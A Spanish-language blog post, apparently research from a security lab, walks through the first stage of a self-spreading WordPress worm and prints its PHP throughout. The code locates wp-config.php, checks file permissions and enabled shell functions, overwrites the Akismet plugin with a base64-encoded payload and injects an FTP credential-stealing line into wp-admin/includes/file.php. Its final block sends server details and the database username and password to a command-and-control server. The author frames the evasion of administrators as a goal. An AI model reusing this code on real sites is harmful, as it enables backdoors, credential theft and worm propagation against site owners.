jueves, 9 de octubre de 2014

The Walking WordPress [II]: first stage

¡Saludos!

    Las slides están ya subidas ( https://es.scribd.com/doc/242156766/The-Walking-WordPress-pdf).

     En el ciclo de funcionamiento del worm podemos diferenciar distintas etapas, que calificaremos de: etapa inicial, etapa de replicación y etapa de post-explotación. La etapa inicial se centra en obtener la información del entorno comprometido, establecer la comunicación con el C&C, y acomodar todo lo necesario para que el worm pueda continuar hacia las siguientes etapas.

   

Localizar wp-config.php y wp-load.php

   En el post anterior vimos como era necesario incluir el archivo wp-load.php con el objetivo de poder acceder a las funcionalidades que proporicona la propia API de WordPress (concretamente estuvimos usando la función wp_options() para eliminar las alertas de iThemes Security) así como la inclusión de wp-config.php para conocer los credenciales de la base de datos.

   El archivo wp-load.php está situado en la raíz de la instalación, mientras que wp-config puede estar en la raíz o un path más arriba -es uno de los primeros pasos al realizar una fortificación -. Además, nuestro worm puede encontrarse en distintas localizaciones (/wp-contents/uploads, /wp-contents/plugins/Whatever/products/, etc.) dependiendo de qué plugin haya sido explotado para subirlo. Estos hechos nos imposibilitan el usar rutas absolutas para hacer el require() a wp-config/wp-load.

   En base a lo anterior lo primero que deberá de hacer nuestro worm será realizar una búsqueda progresiva hacia arriba buscando estos archivos y tras localizarlos realizarles el require(). Un ejemplo de función que se puede encargar de la búsqueda es la siguiente:

function search_file($file) { $found = FALSE; $start = $file; $set = ""; while($found === FALSE) { $set = "../".$set; $see = $set.$start; if (file_exists($see)) { $found = TRUE; } } return $see;}


   Utilizar file_exists() puede tener algún problema en algunos casos donde donde los propietarios de los ficheros difieran o existan restricciones de permisos, pero son casos prácticamente anecdóticos. En otros casos obtendremos el error debido a la fortificación, por lo que localizar o no esos archivos es trivial: nunca podrá funcionar nuestro worm más allá que como una simple webshell -hay pérdida total de la fase de replicación y de comunicación con el panel de control-.

    Una vez localizados los archivos, tan sólo queda hacerles el require.



Permisos de escritura en ficheros clave

   Otra información crucial que deberemos de obtener es la de sobre qué ficheros podremos sobreescribir. Tal y como se ven en los slides,es vital para ejecutar la autoreplicación y realizar los ataques coordinados el poder sobreescribir el plugin Akismet -ésto nos da acceso a los hooks de WordPress-  , y de forma secundaria necesitamos permisos de escritura en /wp-admin/includes/file.php para poder poner un "ratero" al formulario del ftp.

   Combinando la función anterior junto a is_writeable(), y cebando la resultante con un array de ficheros a comprobar, podremos ver si tenemos permisos de escritura:

function check_writable_files() { $files = array("wp-load.php", "wp-login.php", "wp-admin/admin-footer.php", "wp-admin/includes/file.php", "akismet/akismet.php");  $writable = array(); foreach ($files as $file) { if (is_writeable(search_file($file))) { $writable[] = $file; } } return $writable;}

     Si estás familiarizado con las fortificaciones en WordPress, te habrás dado cuenta de que si la carpeta wp-admin ha sido renombrada o cambiada de lugar fallará estrepitosamente el invento. Pero recuerda: lo primero que hicimos fue incluir wp-config.php, por lo que ahora podemos leer su contenido y si se han renombrado/movido estas carpetas es trivial añadir la localización correcta. Eso te lo dejo a tí ;)



Funciones disponibles

   Otro dato interesante es conocer qué funciones están habilitadas, a fin de saber si tenemos posibilidad de usar sockets, cURL, exec, etc. Para ello tenemos la función de PHP function_exists(), que nos devolverá un booleano indicando si la función existe o no. Quedaría como:

function funciones_disponibles() {  $disponible = array(); $array_funciones = array("system", "exec", "passthru", "shell_exec", "mail", "fsockopen", "curl_init"); foreach ($array_funciones as $funcion) { if (function_exists($funcion)) { $disponible[] = $funcion; } } return $disponible;}
  Se pueden añadir muchas más funciones, pero creo que esas son suficientes para hacernos una idea.


Información del servidor

  Conocer el sistema operativo y versión, así como si está habilitado safe_mode, es interesante para conocer qué comandos podremos ejecutar, y también por si en un futuro deseamos intentar realizar una escalada de privilegios con objeto de rootear el servidor.

  Toda esta información -y alguna extra- es fácilmente extraíble a través de las funcion php_uname() de PHP y  de las variables $_SERVER:


function safe() { if (ini_get("safe_mode")) { $safe = "ON"; } else { $safe = "OFF"; } return $safe;}

function server_info() { $OS = php_uname("s"); $OS .= " " . php_uname("r"); $OS .= " " . php_uname("m"); $dominio = $_SERVER['SERVER_NAME']; $ip = $_SERVER['SERVER_ADDR']; $info = array($OS, $dominio, $ip); return $info;}
  En este mismo epígrafe quizás podríamos incluir obtener los credenciales de la base de datos: como hicimos el require() a wp-config.php, es tan sencillo como invocarlos usando DB_HOST, DB_NAME, etc. tal y como están en wp-config.php ;)


Backdoorizar akismet y /wp-admin/includes/file.php

    Para backdoorizar akismet podemos usar el método "bonito", que consistiría en añadir código al final de akismet.php, o el método "hardcore" que es sobreescribir del todo. En mi caso me decanto por el hardcore porque realizando pruebas con el "bonito" a veces aparecían errores en el WordPress infectado, y lo último que deseamos es que el administrador observe irregularidades que le alerten.

     La idea no puede ser más simple: guardamos el código en base64 y procederemos a sobreescribir el archivo:

function usurpar_akis_hardcore (){  //Same here than below $where = search_file("akismet/akismet.php"); $worm = ""; //No incluyo el tochaco ahora, lo veremos en otro capitulo if (is_writeable($where)) { $file = fopen($where, "w"); fwrite($file, base64_decode($worm)); fclose($file); return TRUE; } else { return FALSE; }}

  No podemos ser tan bestias cuando vayamos a colocar el "ratero" para el FTP (para ampliar info puedes visitar este post ) por si acaso el archivo se encuentra modificado -podríamos hacer que dejase de funcionar el WordPress-. La opción por la que podemos decantarnos para curarnos en salud es copiar el contenido en un archivo temporal, meterle el ratero, y después moverlo al lugar original:


function ftp_backdoor() { $file = search_file("wp-admin/includes/file.php"); if (is_writable($file)) { $reading = fopen($file, 'r'); $writing = fopen('myfile.tmp', 'w');
$replaced = false;
while (!feof($reading)) {  $line = fgets($reading);  if (stristr($line,'// Check to see if we are')) {     $line = 'update_option("wp_ftp_worm",implode("--", $credentials));';    $replaced = true;  }  fputs($writing, $line); } fclose($reading); fclose($writing); if ($replaced)  {  rename('myfile.tmp', $file);  return TRUE; } else {  unlink('myfile.tmp');  return FALSE; } }}

  Si os dais cuenta hay un "update_option". Esto es para guardar en la tabla wp_options los credenciales del FTP en caso de pescar alguno.


Comunicación con el panel de control y ultimas modificaciones

   Ahora ya sólo nos toca comunicarnos con el C&C para informar que este WordPress está infectado, mandar toda la información y crear los campos en wp_options con los que más tarde iremos trabajando y almacenando información:

if ($_GET['do'] == "info") {
$server_info = server_info();
$allowed = funciones_disponibles();
$actual_url = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
if (usurpar_akis_hardcore() === TRUE) {
$ak = "YES";
} else {
$ak = "NO";
}
$first = implode("%%%%%%%%%%%%%%", $server_info);
$first .= "$$$$$$$$".implode("%%%%%%%%%%%%%%", $allowed);
$first .= "$$$$$$$$".safe();
$first .= "$$$$$$$$".DB_HOST."%%%%%%%%%%%%%%".DB_USER."%%%%%%%%%%%%%%".DB_PASSWORD;
$first .= "$$$$$$$$".$ak;
$first .= "$$$$$$$$".$actual_url;
$first = base64_encode($first);
$response = wp_remote_get($cc."?new_node=".$first);
add_all_exploits(wp_remote_retrieve_body($response));
add_option('wp_referer_list',"");
add_option('wp_attack_list',"");
add_option('wp_ddos_jq',"");
add_option('wp_seo_worm',""); add_option('wp_beef',"");
add_option('wp_ftp_worm', "");
add_option('wp_apt_url', "");
add_option('wp_apt_user', "");
ftp_backdoor();
}
   Para la comunicación utilizaremos HTTP, y estableceremos el diálogo mediante wp_remote...(). Estas funciones proceden de la API de WordPress, de tal forma que siempre estarán habilitadas, lo que es una ventaja teniendo en cuenta que si intetasemo usar cURL, sockets, etc. podríamos estrellarnos si no están habilitadas. Esta misma función será la que utilizaremos para lanzar los exploits (mediante un workaround que nos permita hacer POST para subir archivos).

  La función add_all_exploits será la encargada de guardar los código fuente de los exploits y la veremos en el siguiente capítulo.


Byt3z

5 0verl0ad Labs: The Walking WordPress [II]: first stage ¡Saludos!     Las slides están ya subidas ( https://es.scribd.com/doc/242156766/The-Walking-WordPress-pdf ).      En el ciclo de funcio...

1 comentario:

Daniel Maldonado dijo...

Muy buen trabajo de investigación!

Saludos cordiales

< >